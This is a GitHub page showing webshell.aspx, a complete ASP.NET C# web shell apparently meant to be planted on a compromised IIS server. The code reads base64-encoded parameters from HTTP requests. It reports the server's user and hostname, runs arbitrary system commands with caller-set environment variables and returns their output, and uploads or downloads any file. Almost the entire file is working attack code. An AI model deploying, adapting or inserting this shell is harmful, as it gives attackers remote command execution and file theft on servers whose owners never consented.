-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathwebshell.aspx
105 lines (85 loc) · 3.93 KB
/
webshell.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<%@ Page Language="C#"%>
<script runat=server>
private string b64d(string b64)
{
byte[] tmp = Convert.FromBase64String(b64);
return System.Text.Encoding.UTF8.GetString(tmp);
}
private void pb64(string text, bool sep)
{
byte[] tmp = System.Text.Encoding.UTF8.GetBytes(text);
Response.Write(Convert.ToBase64String(tmp));
if (sep)
Response.Write(":");
}
public void Page_Load(Object s, EventArgs e)
{
Response.Write(Request.Params["pattern"]);
try {
string cwd = System.IO.Directory.GetCurrentDirectory();
string filename;
byte[] content;
if (!string.IsNullOrEmpty(Request.Params["chdir"]))
{
cwd = b64d(Request.Params["chdir"]);
if (!System.IO.Directory.Exists(cwd)) {
Response.StatusCode = 202;
pb64("Error: Unable to change directory to " + cwd, false);
Response.Write(Request.Params["pattern"]);
return;
}
}
switch (Request.Params["action"])
{
case "init":
pb64(System.IO.Path.DirectorySeparatorChar.ToString(), true);
pb64("aspx", true);
pb64(System.Security.Principal.WindowsIdentity.GetCurrent().Name, true);
pb64(System.Net.Dns.GetHostName(), true);
break;
case "cmd":
string[] cmd_arr = b64d(Request.Params["b64_cmd"]).Split(new string[] {"<@:SEP:@>"}, System.StringSplitOptions.None);
string args = String.Join(" ", cmd_arr.Skip(1));
System.Diagnostics.ProcessStartInfo si = new System.Diagnostics.ProcessStartInfo(cmd_arr[0], args);
si.UseShellExecute = false;
si.CreateNoWindow = true;
si.WorkingDirectory = cwd;
si.RedirectStandardOutput = true;
si.RedirectStandardError = true;
if (!string.IsNullOrEmpty(Request.Params["b64_env"]))
{
foreach (string b64_var in Request.Params["b64_env"].Split(':'))
{
string[] envvar = b64d(b64_var).Split('=');
if (envvar.Length == 2)
si.EnvironmentVariables[envvar[0]] = envvar[1];
}
}
System.Diagnostics.Process proc = System.Diagnostics.Process.Start(si);
string output = proc.StandardOutput.ReadToEnd();
string error = proc.StandardError.ReadToEnd();
proc.Close();
pb64(output + error, true);
break;
case "upload":
content = Convert.FromBase64String(Request.Params["b64_upload"]);
filename = b64d(Request.Params["b64_filename"]);
if (System.IO.Directory.Exists(filename))
filename += System.IO.Path.DirectorySeparatorChar.ToString() + b64d(Request.Params["b64_orig"]);
System.IO.File.WriteAllBytes(filename, content);
break;
case "download":
filename = b64d(Request.Params["b64_filename"]);
string b64 = Convert.ToBase64String(System.IO.File.ReadAllBytes(filename));
Response.Write(b64);
Response.Write(":");
break;
}
pb64(System.IO.Path.GetFullPath(cwd), false);
} catch (Exception ex) {
Response.StatusCode = 201;
Response.Write("Caught unexpected " + ex.GetType().Name + ": " + ex.Message);
}
Response.Write(Request.Params["pattern"]);
}
</script>